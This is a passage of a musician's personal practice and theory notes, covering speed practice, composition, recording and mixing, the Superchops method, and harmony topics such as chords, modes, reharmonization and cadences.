Try to always practice with a metronome or some rhythmic pulse of some kind (playing to drums or a pre-recorded rhythm). The key of improving speed is progressive increase and patience. You will not be playing fast in a day just because you set your metronome to 300bpm. At the beginning of the session try to stablish your baseline for the day and do your exercises at that timing only increasing the speed if we can play everything smoothly and mistake free. Be relaxed, as strain is the enemy of speed, but be mindful that as we approach our limits we will be more tense. Try to reset yourself if this happens. It is sometimes helpful to push past the limit where we are comfortable for a bit and then dial it down a notch. Keep in mind that your biological rhythms change everyday, and just because yesterday you could play a passage flawlessly, it doesn’t mean it will be the same today. Be kind to yourself, take breaks and have slower sessions when this happens.

To more effectively build muscle memory, favor practicing lines and short passages. A long solo is, after all, a connection of multiple smaller motifs. Don’t lose sight of the big picture though and don’t forget to practice your transitions and full performances once the smaller sections are under control.

Composition and Writing

There are many ways of starting a music track and all of them are valid. Some times you can start with the theory, some with a melodic or rhythmic motif and some with the harmony. Sometimes you just noodle around with an instrument and magic happens!

Try to setup at least an A and B section that you can use and arrange instruments so that there is variation happening every 4-8 bars. This is highly style dependant, but is generally a good rule of thumb. I like composing by layering instruments together and then dressing the parts down, sometimes stripping them down to the bare minimum and arranging from there. Everyone has a different process so do what works for you!

Try to study existing pieces and copy their structure or instrument selection. Study your heroes and learn different styles. Drench yourself in their compositional motifs and use them as your own.

In any case, set a dedicated time for music writing and composition in your practice routine. Focus on creating, instrument selection and initial arrangement. Think big picture rather than details (We leave that to the production and mixing stage).

Repertoire

Learning new songs is not only fun, it is also very rewarding. The music and vocabulary will drip into ourselves and they will come out when producing our own original material. We don’t always have to learn full songs, sometimes we can use some time to just focus on extracting some melodic lines or chordal ideas. Try to play with other people if you can, but if you don’t there are many ways of playing along to different sound parts, from dedicated programs to MIDI tracks to using song stems or just covering entire songs by yourself!

The goal of developing a repertoire can vary a lot from person to person, and depending on the complexity of the pieces, learning a single song can take months or you may be able to cram the study of 10 different ones in an afternoon. For full songs, I would again suggest breaking pieces down into sections that can be study piecewise.

I would also include in this section practicing your own material, if you are preparing a set or concert for example. Only because you made it doesn’t mean you will be able to perform it mistake free on demand!

Music Theory

The study of music theory is by no means necessary, but knowing some basic fundamentals can make a big difference. I have a whole page covering many of the facets of theory, but remember to use music theory as guidelines. Use your ear to have the final say in what you do.

Part of your music routine could consist in analyzing existing pieces in the context of music theory, extracting the chords and/or keys that are in that piece and perhaps how could it be reharmonized in a different context. You could then use that knowledge to arrange the song in a different way or use different instrumentation.

I personally can’t see theory without the practice part, they need to be studied in conjunction for fun and profit (the profit is the fun, generally, but also growing your own understanding). Try to pick one topic and explore it for a bit instead of trying to take everything all at once.

Recording and Production

Regardless of your interests with regards to producing full songs, any musician will probably want to familiarize themselves with the recording process. From recording ideas and demos to full blown orchestral arrangements there are some general fundamentals that hold true. The most fundamental is: “if it sounds good, it is good”. Who cares that a guitar was recorded with an “el cheapo” stratocaster through a solid state practice amp if the results sounds just right for the track. Conversely, do you really need all that fancy analog equipment if you are just interested in making chiptune style music in an Amiga tracker? (For the record, sometimes you do! It’s all a matter of flavor and the sound you are looking for in your art).

If you just want to remember an idea, the voice recorder in your phone is more than adequate. I use it all the time for small riffs and the like. If you want to share your music though, it is wise to invest into some basic recording equipment and learning how to use it. You don’t have to become an audio engineer or a wizard to be able to obtain clean recordings, a basic or second hand audio interface and understanding how to properly set your signal levels is in many cases more than enough to get you 80% of the way. There is always processing that can be done, but starting with a good quality signal will make things much easier and expand your options later on.

You can just record with Audacity, but learning the basics of a Digital Audio Workstation (DAW) will massively open the doors for creativity. Any DAW is fine, there is no right or wrong, really, and the concepts are very much transferable if you switch in the future. Practice recording to a click track and doubling your instruments. It is a humbling experience sometimes, but the good news is that you can always try again! Do as many takes as you want and choose the best one, but don’t get obsessed with perfection. They will never be perfect, but you can always try to improve on the next one!

Try to improve your recording qualities everyday and make sure you finish songs. Leaving songs half-finished doesn’t let you see their full potential. Quite often a bit of automation or some transitions can tie things together. At the same time, be happy to discard ideas that no longer work in the context of the overall piece, you don’t have to include everything you initially recorded! Finishing 10 songs that sound OK will make you grow more and produce overall better work than trying to perfect that 1 track for 100 hours. Be prolific, and remember that you don’t always have to share what you do, some things you can keep for yourself. It is not wasted effort if you finish a song you no longer like and don’t release it, but sharing to a few friends or colleagues can be helpful for the feedback they can offer.

Study and practice the fundamentals of mixing and mastering, like equalization and compression and how/when to use them. No mix is perfect and with time you will train your ear to see what you like and what sounds best. Also with regards to mixing, you probably don’t have a fully treated studio with perfect flat response monitors and that is ok. Learn to use the tools at your disposal and their limitations and how to compensate for them. I mix on headphones 99% of the time on my home studio and once I have something mostly finished I monitor the mix in studio monitors, the living room TV, my phone speaker, and a variety of headphones. You can do it in your car if you want or in a boombox in the bathroom. Take notes as you listen and try to find a happy balance for the devices your music will most likely play on. You can also (and probably should) use reference tracks in your style and tempo/key that you know sound well in those conditions and try to match your mix to it.

Methods

Superchops (Howard Roberts)

The Superchops method by Howard Roberts is a 20 week program that helps you practice your technique, repertoire and improvisational skills in a musical context. I ran this method once 10 years ago and it was one of the most useful exercises I went through during my formative years. It is so good that I’m running it again on 2023 to try to get my guitar chops back to what they once where. The method is focused on guitar and jazz improvisation, but the concepts apply to other instruments, so realistically anyone can follow along. You can download the out of print book here.

The method consists on spending 50 min a day on practicing improvisation over a series of chord changes. You spend 10 min recording yourself playing the chords and then play 3 rounds of improvisation over them. The kicker is that you are supposed to play only straight eight notes non-stop (no phrasing, no bending, no rhythmic variation). Later you can use triplets instead. It can be boring and frustrating to see yourself repeating the same lines and realizing the limitations in our vocabulary, but it is well worth it.

You are supposed to start playing at a very very slow tempo and gradually increase the speed as the week progresses. Make no mistake, this is a hard program, and as speed catches up you will realize the shortcomings in your technique and the limits of your vocabulary. Removing phrasing/rhythm from the equation helps us work in our note choices and trying to target the chord tones for the current harmonic context. Playing scales or even chromatic notes is fine, but focusing on each chord change can really pay off.

The songs included in the book are unnamed but they are actually known Jazz standards:

• W1-2: Cherokee
• W3-4: Angel eyes
• W5-6: Baubles, bangles and beads
• W8-9: All the things you are
• W10-11: Blues for alice.

Each second week uses the previous week’s tune transposed to a different key. If you are not into Jazz, you can choose your own preferred songs. Who cares? Just try to put in the work and trust the process. For my own work I’ll follow the songs presented in the book the first week and instead of transposing I’ll choose a different song of my liking.

I’ll use this opportunity to practice my all 4ths tuning, so I’ll also be using my own voicings for the chords. The suggested voicings in standard tuning are really varied and sometimes quite hellish to play, but they can make for a good exercise.

A note of caution, this method may (and probably will) require way more commitment than 50 minutes depending on your existing knowledge of the instrument. I’ll try to prepare the voicings and practice some arpeggios, triads and lines to run through these chords. It may also end up taking more than 20 weeks and that’s ok! Skipping a day is fine, but the book recommends that you stick to the 6 on 1 off daily routine.

The following are a collection of notes on music theory. Bear in mind that music “theory” should be seen as more of a guideline, where patterns and observations about sounds we find pleasant are collected and categorized. Music theory is typically studied in the context of western music, built around the 12-note chromatic scale. Other styles of music have different separation of notes and systems of understanding, but my knowledge of these is limited. Even so, the study of music theory can be useful for analysis, composition, improvisation and communication of musical concepts. Some of these notes are built from experience, past writings or by doing active reading/listening, and as such they may be very similar from the original sources. The resources at the end of the page should contain a reference from which some these notes were extracted.

Intervals

In Western tonal music, we divide the different instrument ranges in a 12 note scale separated by the minimum unit of a half step. These notes are arranged sequentially to form the chromatic scale.

By selecting a subset of notes from the chromatic scale we can derive any number of major, minor or exotic scales, as well as the chords therein. First, we are going to take a look at intervals. You can think of an “interval” in this context as the difference between two pitches or the distance that exists between two of the notes of the chromatic scale. The notes of an interval could be played in unison, in ascending form, or descending form. In the following figure you can see all possible intervals within an octave, starting at a half step and moving half step at a time.

You can also encounter a different nomenclature to refer to these intervals. In the same order:

1 - b2 - 2 - b3 - 3 - 4 - b5 - 5 - #5 - 6 - b7 - 7

or

I - bII - II - bIII - III - IV - bV - V - #V - VI - bVII - VII

Larger intervals, like the 9th, the 11th or the 13th, are also possible but it is nothing more than a 2nd, 4th or 6th interval one octave above. Intervals can also be inverted. To do this, put the lowest note one octave higher or the other way around. By doing so:

• Major becomes minor and vice versa.
• Diminished becomes augmented and vice versa.
• Perfect intervals remain perfect.
• A tritone remains a tritone.

It will be really good if we could identify by ear the different intervals. This is a skill that can be learned, allowing us to rapidly transcribe a passage or improvise over it. One of the most effective ways to train this skill is to try to associate different intervals to well known songs that are already stuck in our heads, for example the Jaws main theme starts with a minor 2nd, while Happy Birthday starts with a major second.

We can also classify intervals by their perceived tensions or dissonances:

• Perfect consonance: I, VIII, IV, V
• Imperfect consonance: bIII, III, #V, VI
• Mild dissonance: II, bVII
• Harsh dissonance: bII, bV, VII

Triads

Different intervals can be grouped to obtain different textures and provoke an emotional response on the listener. The most common way of grouping intervals is by creating triads stacking a major and minor 3rd together. A triad is a chord formed by the root, the 3rd and the 5th intervals. Triads can be inverted twice, as we would do with two-note intervals. The 4 ways of stacking triads are:

• Major triad (1-3-5): Combining major 3rd and minor 3rd.
• Minor triad (1-b3-5): Combining minor 3rd and major 3rd.
• Augmented triad (1-3-#5): Combining two major 3rds.
• Diminished triad (1-b3-b5): Combining two minor 3rds.

For example, a C major triad can be created by stacking a C to E major 3rd interval, and an E to G minor 3rd interval.

A lot of modern music is created with these simple triads, or sometimes even simpler intervals. For example, a power chord only contains the 1-5-8 chords, without the 3rd.

Seventh chords

The two most important pieces to determine the character of a chord, are the third and the seventh. To find the seventh of a chord we can use the same method we used before, but this time we will be stacking three triads instead of two. With this process the following chords can be created:

These chords are widely used in Jazz music, but can and do find its way in other styles. Unfortunately the notation is not standardized, and different charts could present chords in different ways. I’ve included some of these in the previous table, for example a “G sharp minor seventh” could be written as G#m7 or G#-7.

If reading a chord sheet from a “Real Book” or similar, when the seventh is not specified it could mean that we must use a triad or that we can use a seventh chord, depending of the context and if the 7th would clash with the melody of the song.

Upper extensions

As we have seen so far, the process of building complex and colorful chords is as simple as just keep stacking thirds together. Upper extensions are obtained in the same way, but because intervals like the tritone can sound dissonant, there are some extensions that tend to work better for a given context:

It’s not necessary to include all upper extensions when we are spicing up a chord. For example, for the Cmaj13 chord we can choose to play Cmin7 and add the 13th of C and we can also include the 9th but not the 11th, or any combination that we find pleasing.

Upper extensions should be added tastefully, as they can create a train-wreck with other instruments or even with the melody of a song, but they can also turn a boring chord progression into something unique.

Note that sometimes we see the notation add9 or add11, which refers to a minor/major chord plus the extension but without the 7th.

Suspended and 6th chords

Suspended chords are chords that are missing the third, giving them an ambiguous quality (not major, not minor). In their place the IV (sus4 or sus) or the II (sus2) are used instead. They can be formed from regular triads, chords with 7ths or extensions. For example a C9sus4 (C dominant suspended with a 9th extension) can be formed with the C A# D F notes. Depending on the voicing, the 5th can also be omitted to lessen the dissonance with suspended chords. Suspended dominants can be used as an extra chord before resolving to a regular or altered dominant: A#7 -> A#9sus - A#7b9. Suspended chords don’t necessarily need to be resolved, giving a section an air of ambiguity.

On the other hand, 6th chords are either major or minor chords in which the 7th is changed to a 6th. Sometimes the 5th is elided to avoid the whole tone dissonance. It is a fairly neutral sounding chord and it is often played with an added 9th for some extra flavour. A good rule of thumb about when to use a major/minor 6th chord instead of a major/minor 7th is if the melody is playing the root of the chord. This melody note would clash with the 7th, so this substitution makes it sound smoother.

Augmented chords

Augmented chords have a very strong sense of tension and really want to resolve. We can use Vaug in place of V7 chords adding a non-diatonic note. We can add the b7th or 7th to our V7+ preserving the same function (V+7 or V+maj7/Vmaj7#5).

These chords are also very useful for voice leading purposes. For exaple A (A C# E) A+ (A C# E#) D (A D F#). Notice the voice leading on the upper note. Example progressions: I-Iaug-VIm, I-Iaug-IV, I-Iaug-IIm.

If we treat our augmented chord as a Iaug we could think on this tonality as being in the key of Lydian augmented (one of the modes of the melodic scale).

Their symmetric nature makes it so there are only four augmented chords, each of them having three potential roots:

• C+/E+/G#+
• F+/A+/C#+
• A#+/D+/F#+
• D#+/G+/B+

We can use this property to modulate to a different key center around any of them. For example Caug/Eaug/G#aug are enharmonic, so we can go from C major to E major and/or G# major (or their relative minors) for example: C - Caug - Emaj (E major key) - Eaug - Gmaj (G major key). In other words, from Caug we can smoothly transition to any of these chords: C, C#, C#m, E, F, Fm, Ab, A, Am.

With proper voice leading, we can use augmented chords to connect different chords together from different keys:

     B               F#    G#               B     C#               E      D               A
      \             /        \             /        \             /        \             /
       \           /          \           /          \           /          \           /
A# ---- A#+/D+/F#+ ---- G ----  G+/B+/D#+ ---- C ----  C+/E+/G#+  ---- F ---- F+/A+/C#+ ---- F#
       /           \          /           \          /           \          /           \
      /             \        /             \        /             \        /             \
     D#              D      E               D#     A               G#    A#               C#

Example of augmented chord progression:

• C-Caug-C#-G7-C
• C-C+-F-F+-A#

Diminished chords

Diminished chords, specially in their 7th form are very interesting. They have an ambiguous sound, as any of the notes of the chord could be considered the root. For example Cdim has C D# F# A and could also be called D#dim, F#dim or Adim. Despite having an ambiguous sound they want to strongly resolve to any minor or major chord that is half step above, half step below or at any of their roots. From the previous example, Cdim can resolve to C#, E, G or A# and these can be maj7, min7 or even dominant 7. It would also be fine to resolve to a C or C# (A root or half step above). There are only 3 groups of diminished chords: C-A-F#-D#, G-E-C#-A#, D-B-G#-F.

The major scale and its modes

The major scale is composed of 7 notes at different intervals. As mentioned before the chromatic scale is separated by 12 notes, each separated from the previous one by a half-step (h/minor 2nd/b2). A whole-step (W/major 2nd/2) is composed of two half-steps. When we refer to scales, we typically notate the scale formula as a number of whole and half steps. The formula for the major scale is: W W h W W W h. In a piano, the C major scale correspond to the white notes. If using the notation previously introduced for intervals, from any root note, a major scale contains the following intervals:

I - II - III - IV - V - VI - VII

People tend to be confused when talking about scale “modes”, but it is actually very simple. A scale mode contain the same notes as the equivalent major scale, but it starts at a different location.

For example the C major scale contain the notes C D E F G A B, the D dorian instead uses D E F G A B C and so on. Modes are often more emphasized when playing melodic lines over a static chord, and by emphasizing the chord tones of the desired modal flavor (more on this on the harmony section). While a song in a given key can be analyzed by thinking of different modes playing at different locations, it normally makes more sense to think of the major equivalent instead.

Harmony

Harmony is one of the basic blocks of music, alongside melody and rhythm. When we talk about harmony, we normally refer to multiple notes that play simultaneously, but this is not always true. For example, an “arpeggio” (playing the notes of a chord in succession or following different patterns) can give us the perception of a chord or a melody may suggest being on a given key. Harmony is about managing “tension” or “dissonance” and the corresponding release. Some intervals are more dissonant than others, after all, but in my eyes this is a learned and/or cultural phenomenon. For example, if you are not used to listen to Jazz music with tons of dissonance, it may feel unpleasant. As a rule of thumb however, we tend to avoid intervals or chords with lots of dissonance (such as the tritone) in general music.

Major harmony

We have already covered the major scale and mentioned that different modes have different “tonalities”. The chords of the major scale (also called diatonic) follow the scale notes and avoid too dissonant intervals.

We can classify chords as weak or strong. Weak chords (chords with more tension) want to resolve to more strong chords, which are more stable. In order of increasing tension we have three functional families:

• Tonic chords (T) are stable chords.
• Dominant chords (D) are weak chords and want to resolve to the tonic.
• Subdominant chords (SD) are weak chords and want to resolve to either the dominant or tonic chords.

The following table shows the diatonic 7th chords of a major scale, their functional family and possible extensions we can use to avoid excessive dissonance.

For example in the C major scale a II-V-I progression can be Dm7 G7 Cmaj7 and could have any or all the extensions corresponding to them.

Functional harmony and voice leading

To create interesting chord progressions, we can use the technique of functional harmony in which we alternate between strong and weak chords. To end a song or segment we can either end it on a tonic note or follow the classic T SD D T pattern. Normally the bass will play the root note of the chord, allowing the harmonic part to play the chords at different inversions. However, just playing the chords of a given progression can still sound boring or unpleasant, which is why we typically want to use voice leading.

Voice leading can help harmonies to sound more smooth or interesting. This concept focuses on minimizing the amount of movement leading from one chord to another. We achieve this by making use of different chord inversions, but we may want to avoid tritonal movements within the same voice. Typically you want the high and low notes to move in different directions or if this is not possible, to keep one of them moving while the other is stable.

When dealing with big chords, we may want to reduce the number of notes being played, keeping the same number of voices for voice leading purposes. Normally this is done by using 3 or 4 voices. For example, if all our chords are 7th chords, we can either remove the root note (since it’s being played by the bass) and rearrange the remaining three voices or use all four of the notes. If we have non 7th chords mixed in, however, the first approach is preferable.

When we have extensions, we can make use of substitutions to keep the number of voices the same, replacing the 1st or 5th of a chord with one of these extensions. The root note can be provided by the bass and the 5th doesn’t really change the character of a chord unless is altered. If we remove the root and 3rd, we obtain a “hybrid chord”, which can create some pleasant instability when used tastefully.

Part writing

Once we have a chord progression with voice leading, we can add different embellishments to each voice lines. To do so, first we identify what kind of movement the voice performs:

• Common tone: No movement, the note stays the same.
  • Common embellishments:
    • Neighbour-tones: Leave the voice note by a whole step and returns back.
    • Double neighbour-tones: Same as before but moves in both directions before returning.
• Stepwise movement: Moving by a bII or II interval.
  • Common embellishments:
    • Escape tones: Move in opposite direction of step and resolve by leap.
    • Suspensions/retardations: Held the note from the previous chord and resolve down/up respectively.
    • Anticipations: Play the note from the next chord early.
    • Chromatic passing tones: We can bridge the gap between the root and the II adding a bII in between.
• Leapwise movement: Moving by a bIII interval or larger.
  • Common embellishments:
    • Appoggiaturas: Leaps to the note either a whole step up or down the target note and then resolves to the target. These can happen anticipatorily (on the chord performing the leap) or on the leaped chord.

When adding embellishments we want to pay attention to the level of dissonance that these intervals create with the rest of the voices. An embellishments that creates a perfect consonance with the rest of the voices will be more pleasant than if it was a harsh one.

Chromatic mediants

Chromatic mediants, consist on moving chords up or down by thirds. It is highly used in film music as it can create dramatic progressions. We can choose to use minor or major chords and both will have different qualities. For example, if we have a C major chord, we could move down to A (minor 3rd motion) or G# (major 3rd motion). We then repeat the process in the same direction as needed: C major - G# major - F major - D major - etc.

Note that at each point we have four options, we are not bound to the same motion distance that we got on the first one or the same chord tonality. Voice leading works the same as with functional harmony, but since the tonality is not as well resolved or depending on the motion the tonal root may not be present in the progression, sometimes having a “drone” note playing in the higher or lower register may help us center the tonality.

Quartal/quintal harmony

The chords and harmony we have discussed so far is built in the idea of stacking III and bIII intervals to create the different notes (Tertial harmony). We could use the same concept but with 4th or 5th intervals instead. We can stack IV (perfect 4th) or bV (augmented 4th) intervals together.

• +4Q (1-#4-7): Combining augmented 4th and perfect 4th.
• Q+4 (1-4-#7): Combining perfect 4th and augmented 4th.
• Q (1-4-7): Combining two perfect 4ths.

The chords can also be inverted, where 4ths become 5ths, which is why quartal and quintal harmony are equivalent.

A regular major or melodic scales could also be harmonized in quartal harmony by making use of chord inversions or quartal voicings. Here is an table of quartal harmony for different major modes:

An example in C (Note that we can keep stacking 4ths as “extensions”):

      CHORD   EXTENSIONS
CQ+4: C F B | A E G
DQ:   D G C | F B E
EQ:   E A D | G C F
F+4Q: F B E | A D G
GQ:   G C F | B E A
AQ:   A D G | C F B
BQ:   B E A | D G C

We can play quartal chords over regular tertial harmony, but we need to be careful not to play certain “avoid notes” on the top or bottom voice, least we create too much dissonance. These avoid notes are as usual intervals of bII or tritone between the tertial chord and quartal voicing.

It is highly used in modal Jazz and classical composers like Debussy. Quartal harmony has a certain ambiguous quality to it, almost atonal which is why we don’t necessarily have to work in a functional harmony context.

Borrowed chords and secondary dominants

When we use chords that are non-diatonic we call these borrowed chords. These can really spice up our chord progressions. We can borrow chords for the parallel modal scales for a given key. For example if our key is C major, we can use chords from C dorian, C lydian, etc. Looking at a major progression of II - V - I we would typically use D - G - C, but we can change any of the chords, for example D - G - Cmin borrows the I from the C aeonian, C phrygian or C dorian. We could also use D - Gmin7 - C borrowing Gmin7 from the C mixolydian. In the following table you can see the equivalent 7th chords for the different modes.

Is best to first establish the key of the song before using borrowed chords, and using only one borrowed chord before returning to the main tonality, otherwise we may risk having an ambiguous tonality or look like we are suddenly changing keys.

Note that when using borrowed chords while using functional harmony, the borrow retains the same function as the equivalent major chord. For example in the D - Gmin7 - C example, Gmin7 has the dominant (weak) function.

Sometimes we can also bridge the gap between chords by using the equivalent dominant for a particular chord, that is, a dominant chord located a perfect fifth (V interval) from it. We call these secondary dominants. For example, a II - V - I in C major is Dm - G7 - C can use a secondary dominant for the II, transforming it into a A7 - Dm - G7 - C. Sometimes this is denoted as V7/II - II - V - I.

Harmonizing melodies

If we start with a melody and want to create a chord progression around it, we first need to decide what kind of chords do we want to use. For example, what key or mode are we in? Do we want simple chords, 7th chords, extensions? Can we mix in tertiary harmony? Are we using borrowed or hybrid chords? We can always change our palette, but it is useful to start with some building blocks.

On each bar we want to identify the notes on the strong beats (1 and 3 in 4/4) and notes that play for a longer time, either because they are held or due to repetition. This gives us an idea of the chords we want to target.

If using functional harmony, we can restrict our chord choices even more by using the strong-weak-strong-weak or tonic-subdominant-dominant-tonic patterns.

After selecting the chords we can perform voice leading and add embellishments as desired.

Altered and melodic minor harmony

The melodic minor scale can be seen as a major (ionian) scale with a bIII. It thus follows the following formula W h W W W W h. In classical music the melodic minor is only played in ascending form, when descending, the aeolian is used instead. It is highly used in Jazz, where it is played both in ascending and descending form. Very often the seventh degree of the melodic minor is played over dominant chords. This is known as the altered scale.

Sometimes we may find the notation of 7alt to refer to a dominant chord that can contain any alteration (bII, bIII, bV, #V or b9, #9, #11, b13). In Jazz is common to substitute regular V7 chords with V7alt to access a palette of “outside” songs.

The harmonic scale and the minor II-V-I

When trying to center a piece around a minor tonality, it is sometimes desirable to use the harmonic minor scale and modes.

It can be commonly seen in minor II-V-I progressions, at least partly. For example a Dm7b5 - G7b9 - Cm7. The first two chords imply the harmonic minor, but the last one resolves to Cm7, which could be a C aeolian, dorian, or phrygian. We could fully resolve a II-V-I cadence as Dm7b5 - G7b9 - Cmin(maj7), which is quite dissonant but can work beautifully to convey the harmonic minor flavour. A Cm6 would also be a suitable candidate for the I chord, which sounds somewhat in between regular minor and harmonic minor.

Modal harmony

When we want to emphasize the sound of the different modes of the major or minor scales, we probably want to stay away from functional harmony. Tonic, subdominant, dominant are not important, and we want to avoid using dominant or (half)diminished chords, since they strongly want to resolve. Instead we want to focus on the tonic chord of the mode and try to emphasize the notes characteristic to that modal sound. It is also possible to use ambiguous chords to add variety (such as sus chords or add9 chords).

In this type of harmony we have modal tonic chords (I III VI), built on the root note and modal cadence chords (II IV V VII) which want to return to the tonic. One thing we can do is to use “lateral chords”, which are chords that are next to the modal tonic. An example in the key of C is presented below.

We don’t have to stick exclusively with lateral chords. We previously presented a table with 7th chords for the different modes, which we can still use, we just have to be careful not to use dominant 7 and half diminished m7b5 chords, opting instead for minor/major triads or suspended chords. The same idea would apply to upper extension notes, avoid using extensions that may create tritonal sounds or tensions.

Avoid using too many chords in modal harmony and make sure to repeat the tonic of the mode thoroughly for best results. Using pedal tones and suspended/add9 chords may help keep the modal flavour

When writing a modal melody, we want to emphasize the distinct intervals and focus notes for the mode:

• Dorian (Im): Focus on note 6 and intervals II-III and VI-VII
• Phrygian (Im): Focus on note b2 and intervals I-II and V-VI
• Lydian (I): Focus on note b5 and intervals IV-V and VII-I
• Mixolydian (I): Focus on note b7 and intervals III-IV and VI-VII
• Locrian (Im): Focus on notes b2 and b5 and intervals I-II and IV-V

Neapolitan chord

There is a special type of chord and not to be confused with the previously discussed 6th chords. The 6th in this case refers to a classical chord inversion. The name is not too important however, but rather is best to know how to use it. It was used quite a bit in European classical music in the minor IV - V - I cadence (though the concept could still be applied in major tonality). In the case of A minor, we can borrow the dominant from the harmonic scale, resulting in Dm - E7 - Am. This cadence doesn’t really have such a strong subdominant to dominant flavour, but if instead we flatten the fifth of the D minor chord resulting in Dmb5 or A#/D we call this the Neapolitan 6. The cadence is thus N6-V7-Im or Dmb5 - E7 - Am or A#/D - E7 - Am. The notation can get confusing, but the concept is not so complicated. This cadence have a lot of classical flavour and could be something to consider in compositions, even when is not very used in popular music today. I’ve seen some diagrams that describe the use of N6 cadence by Chopin by following a VII-II-VI to an subdominant option (IIdim, N6 or IVm) which either goes back to the VII or moves to the dominant (V or VIIdim) that finally resolves into the I.

Reharmonization

Jazz musicians have a lot of fun taking popular songs in the form of “Jazz Standards” and making complicated arrangements. This technique can be used in any style of music if we are adventurous. To reharmonize a song is to change the chords and/or their harmonic rhythm. Sometimes this also involve changing the melody to fit with the new set of chords. Even though one can go “all in” to change absolutely everything about a song, sometimes is more effective to modify some bars or sections sparingly or after the original chord progression has been heard. The techniques described here can be used for the purpose of reharmonization but also to spice up chord progressions during composition.

• Add 7th and extensions.
• Diatonic/functional harmonization: Exchanging chords with the same functional harmony (tonic, subdominant, dominant).
• Vary the harmonic rhythm. In other words, change where the chords fell within the beat (e.g. going from one chord per bar to two).
• Tritone substitution: Replace a V7 chord by one a V interval below or bV above it (tritone).
• Secondary dominant substitution: A non dominant chord can be substituted by its secondary dominant a V interval above it. The secondary dominant can also be inserted before the chord instead of replacing it to also change the harmonic rhythm. In other times the secondary dominant can be preceded by its relative II to create a II-V cadence.
• Add chromaticism: When going from one chord to another found 1 whole tone away, a chord could be inserted between the two to smooth the voice leading.
• Borrow chords from other modes from the major scale (or melodic minor).
• Change the key to their relative minor/major. For example if the initial scale was in C major we swap our chords to the C minor mode.
• Replace some dominant chords with the altered chords.
• Add a suspended chord before a dominant: 7 -> 7sus - 7. You can also replace the II or the V in a II - V - I with a suspended chord.
• Add a diminished chord where any of their notes is half step below, below or at an existing chord.
• Change some chords to be augmented to act as a dominant aug.
• Use different types of harmony (chromatic mediants or quartal/quintal).

Cadences

Cadences are a form of music punctuation that marks the end of a chord progression. Just like we need commas and periods when writing English, so do we need cadences when writing music. Cadences create a tension that want to resolve to a more stable sound, creating a sense of pull. There are different types of cadences which create different effects.

• Perfect/Authentic cadence: V7-I
  • Feels like a full-stop.
  • Reduces momentum/energy.
  • Saved for the ending of a whole piece, section or phrase.
  • The strong pull is due to the functional tritone.
• Plagal cadence: IV-I
  • Feels like a full-stop, but less so than the authentic cadence.
  • Reduces momentum/energy.
  • Saved for the ending of a whole piece, section or phrase but could be used in the
• Imperfect cadence:
  • Can be seen as musical commas.
  • Going from a I, II or IV chord to V.
• Deceptive cadence: V7 - VI or V7-III
  • Resolves to a chord other than the root.
  • Typically in a major key: V7-IIIm or V7-VIm.
  • Typically in a minor key: V7-III.
  • The V-VI is sometimes called interrupted cadence.
  • Ends the progression without reducing momentum/energy.
  • Can be used anywhere in the middle of the piece.
• Half cadence: V7
  • Ends a progression with the V7 chord.
  • Can be used to connect two chord progressions (For example an A and B section).
  • The next chord progression resolves the cadence with either a I, IIIm or VIm.
  • Creates movement/momentum.

When working with modal music, we don’t often see the same types of cadences or movement. In general V7 is not used often in modal cadences. We want to make emphasis on the “characteristic notes” of a mode. So for modal cadences, we use any chord that contain these notes as a substitute for the V7. For example, when working with a Dorian mode (Im-IIm-III-IV7-Vm-VI7b5-VII) our tonic being Im and both IV and IIm containing the characteristic notes. We can use IV-Im or IIm-I as a pseudo-authentic cadence. All types of cadences are possible but in general, working with modal music, try to use authentic or half-cadences.

Common chord progressions

• Andalusian cadence: Im-bVII-bVI-V7. For variety the V7 chord could become a diatonic Vm instead or we could come back to the bVII.
• Neapolitan: IVmb5-V7-Im.
• Jazz bread and butter (minor/major 2-5-1s): IIm7-V7-Imaj7, IIm7b5-V7-Im7. Already mentioned thoroughly on these notes, just remember that sometimes we can also chain II-Vs without resolving to the I. Very useful for changing keys.
• Jazz legos: Small building blocks of many a Jazz standard. I-IV, IV-V-I, IV-IVm
• Walking in 4ths: V7-I7-IV7-bVII7... We don’t always have to use dominant chords, but the dominant cadence is a useful way of moving between keys.
• Key modulation a whole step via minor relative: IIm-V7-I then Im acting a IIm. For example: Dm-G7-C-Cm-F7-A#
• Turnaround progression: Coming back to the tonic by walking the circle of fifths VIm-IIm-V-I or IIIm-VIm-IIm-V-I.
• Pop music cliché:
  • I-V-VIm-IV, VIm-IV-I-V, IV-I-V-VIm, I-IV-VIm-V
  • I-VIm-V-IV
  • Im-VI-IVm-V
  • Im-VI-VI-VII
  • Major flavour: I-V-IV-V
  • Mixolydian flavour: I-bVII-IV-I
  • Plagal cascade (moving down by perfect 4ths or up by 5ths): Im-bIII-bVII-IV
  • Im-bVII-Vm-bVI
  • I-V-IIm-IV
  • Japanese:
    • IV-V-IIIm-VIm
    • IV-IIIm-VIm with a V-IV or II7-V cadence.
    • IV-V7-VI
• Basic 12bar blues: |I7 |I7 |I7 |I7 |IV7|IV7|I7 |I7 |V7 |IV7|I7 |I7 |
• Rhythm changes:
  • A: |I-VI7 |IIm-V7 |I-VI7 |IIm-V7 |I-I/III|IV-Idim|I/V-VI7|IIm-V |
  • B: |III7 |III7 |VI7 |VI7 |II7 |II7 |V7 |V7 |

Resources

• Harmony for Composers Series
• How to write a modal chord progression (that sounds modal)
• Sakamoto, Hisaishi, et. al. - Common Japanese Chord Progressions
• Cadences - The 4 types explained - Perfect, Plagal, Imperfect, Interrupted
• The perfect cadence - Music theory
• The plagal cadence - Music theory
• The interrupted cadence - Music theory
• The imperfect cadence - Music theory
• Quick theory: Cadences (Tabletop composer)
• Quick theory: Cadences in modal music (Tabletop composer)
• How to modulate to ANY key
• Mediant Chords
• Harmonic Planning

Melody

Melody is another cornerstone of music, together with harmony and rhythm. Writing melody is sometimes intuitive, but there are some guidelines that can help us make more memorable pieces. First of all, we need to focus on motifs. Motifs are small units of music that can be repeated and develop to create phrases and progressions. Melodies are not made only of motifs, but they are a powerful tool in our melodic toolbox. Motifs can be achieved by taking a sequence of notes and creating variation in one or two of the following types:

• Pitch
• Rhythm
• Dynamics
• Articulation
• Timbre
• Register

Note that we can have variation of more than two types, but commonly is best to focus on one or two of these options.

Once a motif is established, it is typically developed throughout the song. One of these strategies for development is the PReVaDe method. Here a motif repeats four times, creating a single phrase:

• Present: The motif is introduced.
• Repeat: The motif repeats with little to no variation.
• Variation: The motif repeats with larger variation.
• Deconstruct: The motif is changed to end the phrase.

The general, we add variation to a motif via rhythmic or melodic changes. That is, changing tempo, rhythm or the notes in the motif.

• Rhythmic variation:
  • Augmentation & Diminution: Slows/speeds the tempo or increase/decrease the note values by the same ratio (e.g. double the duration, half the duration)
